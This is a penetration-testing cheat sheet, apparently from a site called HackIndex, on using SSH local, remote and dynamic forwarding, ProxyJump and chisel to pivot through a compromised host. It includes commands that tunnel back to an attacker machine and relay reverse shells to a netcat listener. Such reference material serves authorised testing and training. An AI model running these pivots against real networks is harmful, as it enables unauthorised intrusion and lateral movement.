Skip to content
HackIndex logo

HackIndex

SSH Port Forwarding and Tunneling

3 min read Mar 16, 2026

SSH port forwarding turns a compromised host into a pivot point. Local forwarding exposes internal services on your attacker machine. Remote forwarding pushes a listener port from your machine into the target network. Dynamic forwarding creates a SOCKS proxy routing arbitrary TCP traffic through the pivot. All three are built into the SSH client and require no additional tools.

Local Port Forwarding

Exposes a service inside the target network on a port on your attacker machine. Traffic sent to 127.0.0.1:LPORT locally is forwarded through the SSH session to the destination host and port.

┌──(kali㉿kali)-[~]
└─$ ssh -L $LPORT:INTERNAL_HOST:INTERNAL_PORT $USER@$TARGET_IP -N

Access an internal admin panel at 10.10.20.10:8080 through a pivot at $TARGET_IP:

┌──(kali㉿kali)-[~]
└─$ ssh -L 8080:10.10.20.10:8080 $USER@$TARGET_IP -N

Open http://127.0.0.1:8080 in your browser. All traffic passes through the pivot.

Reach a service bound to localhost on the pivot itself — these are invisible from outside:

┌──(kali㉿kali)-[~]
└─$ ssh -L $LPORT:127.0.0.1:3306 $USER@$TARGET_IP -N

Connect your local MySQL client to 127.0.0.1:$LPORT.

-N suppresses the interactive shell. Drop it if you need both a shell and the tunnel active in the same connection.

Remote Port Forwarding

Opens a port on the pivot that forwards back to a listener on your attacker machine. Use this to catch reverse shells or callbacks from hosts deep inside the network that cannot route to you directly.

┌──(kali㉿kali)-[~]
└─$ ssh -R PIVOT_PORT:$LHOST:$LPORT $USER@$TARGET_IP -N

Any connection to 127.0.0.1:PIVOT_PORT on the pivot is forwarded to $LHOST:$LPORT on your machine. Trigger a reverse shell on an internal host pointing to 127.0.0.1:PIVOT_PORT — the connection arrives at your nc -lvnp $LPORT listener.

Dynamic Port Forwarding — SOCKS Proxy

Creates a SOCKS5 proxy on your attacker machine. All traffic routed through it exits from the pivot, letting you reach any host and port the pivot can talk to.

┌──(kali㉿kali)-[~]
└─$ ssh -D $LPORT $USER@$TARGET_IP -N

Configure proxychains to use the proxy. Edit /etc/proxychains4.conf:

[ProxyList]
socks5 127.0.0.1 $LPORT

Route tools through the pivot:

┌──(kali㉿kali)-[~]
└─$ proxychains nmap -sT -Pn -p 22,80,443,445,3389 10.10.20.0/24
┌──(kali㉿kali)-[~]
└─$ proxychains curl http://10.10.20.10/
┌──(kali㉿kali)-[~]
└─$ proxychains ssh $USER@10.10.20.5

SOCKS does not carry ICMP. Use -Pn with nmap and TCP scan types only.

ProxyJump for Multi-Hop SSH

Connect through a pivot to a second host in a single command without setting up explicit tunnels:

┌──(kali㉿kali)-[~]
└─$ ssh -J $USER@$TARGET_IP $USER@INTERNAL_HOST

Chain multiple hops:

┌──(kali㉿kali)-[~]
└─$ ssh -J $USER@PIVOT_A,$USER@PIVOT_B $USER@INTERNAL_HOST

ProxyJump is cleaner than the older ProxyCommand nc approach for interactive SSH sessions. For non-SSH traffic through multiple hops, chain local forwards instead.

Keeping Tunnels Alive

SSH tunnels drop when the connection idles. Add keepalive options to prevent this:

┌──(kali㉿kali)-[~]
└─$ ssh -D $LPORT -o ServerAliveInterval=30 -o ServerAliveCountMax=3 $USER@$TARGET_IP -N

When SSH Credentials Are Not Available

If you have a shell on a pivot but no SSH credentials or the SSH port is blocked, chisel provides the same forwarding capabilities over HTTP:

On your attacker machine:

┌──(kali㉿kali)-[~]
└─$ chisel server -p $LPORT --reverse

On the pivot:

┌──(kali㉿kali)-[~]
└─$ ./chisel client $LHOST:$LPORT R:socks

This opens a SOCKS proxy at port 1080 on your attacker machine. Use with proxychains as above.

Transfer the chisel binary to the pivot over your existing shell using the file transfer methods in Linux File Transfer Without Common Tools.

References